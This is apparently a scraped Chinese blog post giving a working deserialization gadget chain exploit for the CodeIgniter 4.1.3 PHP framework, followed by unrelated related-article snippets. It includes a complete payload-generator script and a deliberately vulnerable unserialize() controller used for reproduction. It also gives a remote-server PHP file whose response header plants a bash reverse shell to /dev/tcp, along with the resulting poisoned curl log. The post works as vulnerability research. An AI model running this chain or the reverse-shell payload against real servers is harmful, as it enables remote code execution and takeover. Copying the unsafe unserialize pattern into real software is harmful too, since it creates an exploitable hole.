codeigniter 4.1.3 gadget chain

news/2025/2/12 20:07:00/

EXP code

找到一条很有意思的codeigniter框架的链。

<?php
namespace CodeIgniter\HTTP {class CURLRequest {protected $config = ["debug" => "./eee.php"];}
}namespace CodeIgniter\Session\Handlers {class MemcachedHandler{public function __construct($memcached, $url){$this->memcached = $memcached;$this->lockKey = $url;}}
}namespace CodeIgniter\Cache\Handlers {class RedisHandler{public $redis;public function __construct($redis){$this -> redis = $redis;}}
}namespace {$ip = $argv[1];$port = $argv[2];$exp = array(new \CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\MemcachedHandler(new \CodeIgniter\HTTP\CURLRequest(),"http://$ip:$port/")));echo urlencode(serialize($exp));
}

复现

下载最新的CodeIgniter框架,将以下代码写入app/controller/Home.php

<?php
namespace App\Controllers;class Home extends BaseController
{public function index(){$obj = @unserialize($_GET['obj']);var_dump($obj);return view('welcome_message');}
}

准备一个远程服务器,并填入php代码<?php header("X-Powered-By: <?php phpinfo();");index.php。之后在index.php所在目录启动一个简单的php http服务器。

执行上述exp并复制exp的输出。

php exp.php remote_server_ip remote_server_port

在本地启动CodeIgniter框架,将exp的输出粘贴到obj参数中。然后,此exp将发送请求到远程服务器,并在本地写入eee.php。访问eee.php将执行phpinfo。

漏洞原理

新gadget的起始向量仍然是CodeIgniter\Cache\Handlers\RedisHandler::__destruct方法。

public function __destruct()
{if (isset($this->redis)){$this->redis->close();}
}

redis设置为CodeIgniter\Session\Handlers\MemcachedHandler'类的对象,然后我们跳到CodeIgniter\Session\Handlers\MemcachedHandler::close方法。

public function close(): bool
{if (isset($this->memcached)){isset($this->lockKey) && $this->memcached->delete($this->lockKey);...

lockKey分配给一个特别准备的远程服务器ip,memcached分配给一个CodeIgniter\HTTP\CURLRequest类的对象,这个对象,在config中设置debug选项为一个php文件。

之后我们将跳到CodeIgniter\HTTP\CURLRequest::delete方法。

public function delete(string $url, array $options = []): ResponseInterface
{return $this->request('delete', $url, $options);
}

这个方法将http请求发送到设置的远程服务器。并且后续的调用将设置$curlOptions[CURLOPT_STDERR]为我们之前指定的php文件。设置$curlOptions的方法是CodeIgniter\HTTP\CURLRequest::setCURLOptions

protected function setCURLOptions(array $curlOptions = [], array $config = [])
{
...if ($config['debug']){$curlOptions[CURLOPT_VERBOSE] = 1;$curlOptions[CURLOPT_STDERR]  = is_string($config['debug']) ? fopen($config['debug'], 'a+') : fopen('php://stderr', 'w');}
...
}

设置好的远程服务器将对发出的请求作出响应,并在响应头中返回一段php代码。这段php代码会被写入我们指定的curl日志文件中,也就是那个php文件。

远程服务器上的index.php。

<?php
header("X-Powered-By: <?php system('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');?>");

恶意的curl日志文件。

* Expire in 0 ms for 6 (transfer 0x???)
*   Trying ???...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x???)
* Connected to ??? (???) port ??? (#0)
> DELETE / HTTP/1.1
Host: ???
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1< HTTP/1.1 200 OK
< Host: ???
< Date: Thu, 26 Aug 2021 06:07:19 GMT
< Connection: close
< X-Powered-By: <?php system('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');?>
< Content-type: text/html; charset=UTF-8
< 
* Closing connection 0

影响

  1. 如上所示,这可能导致恶意的php文件被写入服务器,导致攻击者获取服务器权限。
  2. 当攻击者无法写入恶意文件时,他可以用gopher或ftp协议代替上述http协议来攻击内网服务。

http://www.ppmy.cn/news/1157851.html

相关文章

【C/C++】STL——深度剖析list容器

​&#x1f47b;内容专栏&#xff1a; C/C编程 &#x1f428;本文概括&#xff1a;list的介绍与使用、深度剖析及模拟实现。 &#x1f43c;本文作者&#xff1a; 阿四啊 &#x1f438;发布时间&#xff1a;2023.10.12 一、list的介绍与使用 1.1 list的介绍 cpluplus网站中有关…

C++多态的理解,笔记

多态 多态&#xff08;Polymorphism&#xff09;是C面向对象编程的一个关键概念&#xff0c;它允许你以一种通用的方式处理不同类型的对象&#xff0c;而无需了解它们的具体类型。C中的多态性通过虚函数&#xff08;virtual functions&#xff09;来实现&#xff0c;主要包括两…

Day1力扣打卡

打卡记录 最长相邻不相等子序列 I&#xff08;脑筋急转弯&#xff09; 链接 思路&#xff1a;形如 11100110001 要达到最大&#xff0c;必须在重复数字选出一个&#xff0c;即在111中取一个1&#xff0c;在00中取一个0&#xff0c;以此类推最终便得到最长相邻不相等子序列。 c…

windows内网渗透正向代理

内网渗透正向代理 文章目录 内网渗透正向代理1 正向代理图2 环境准备2.1 正向代理需求&#xff1a; 3 网卡配置3.1 【redream】主机3.2 【base】主机双网卡3.3 【yvkong】网卡设置 4 启动4.1【redream】网卡配置&#xff1a;4.2【base】网卡配置&#xff1a;4.3【yvkong】网卡地…

[GSEP202306 一级] C++ 时间规划

题目描述 小明在为自己规划学习时间。现在他想知道两个时刻之间有多少分钟&#xff0c;你通过编程帮他做到吗? 输入格式 输入4行&#xff0c;第一行为开始时刻的小时&#xff0c;第二行为开始时刻的分钟&#xff0c;第三行为结束时刻的小时&#xff0c;第四行为结束时刻的分…

23基于MATLAB的小波降噪,默认阈值消噪,强制消噪,给定软阈值消噪方法,数据直接替换后就可以跑。

基于MATLAB的小波降噪&#xff0c;默认阈值消噪&#xff0c;强制消噪&#xff0c;给定软阈值消噪方法&#xff0c;数据直接替换后就可以跑。 https://www.xiaohongshu.com/explore/652d57c600000

redis的应用

文章目录 一.分布式锁1.简易版2.Redisson 二.延时队列1.异步消息队列2.加锁冲突失败处理3.zset实现延迟队列 三.位图四.HyperLogLog1.基本命令2.实现原理 五.布隆过滤器六.简单限流1.实现2.缺点 七.漏斗限流八.GeoHash九.scan1.keys2.scan 一.分布式锁 可以保证操作的原子性。…

Windows10安装MySQL5.7.43

下载安装包 mysql-5.7.43-winx64.zip 解压到目录C:\Program Files\mysql-5.7.43-winx64&#xff0c;并在该目录中创建配置文件my.ini。 [mysql] # 设置mysql客户端默认字符集 default-character-setutf8[mysqld] # 设置3306端口 port 3306 # 设置mysql的安装目录 basedirC:…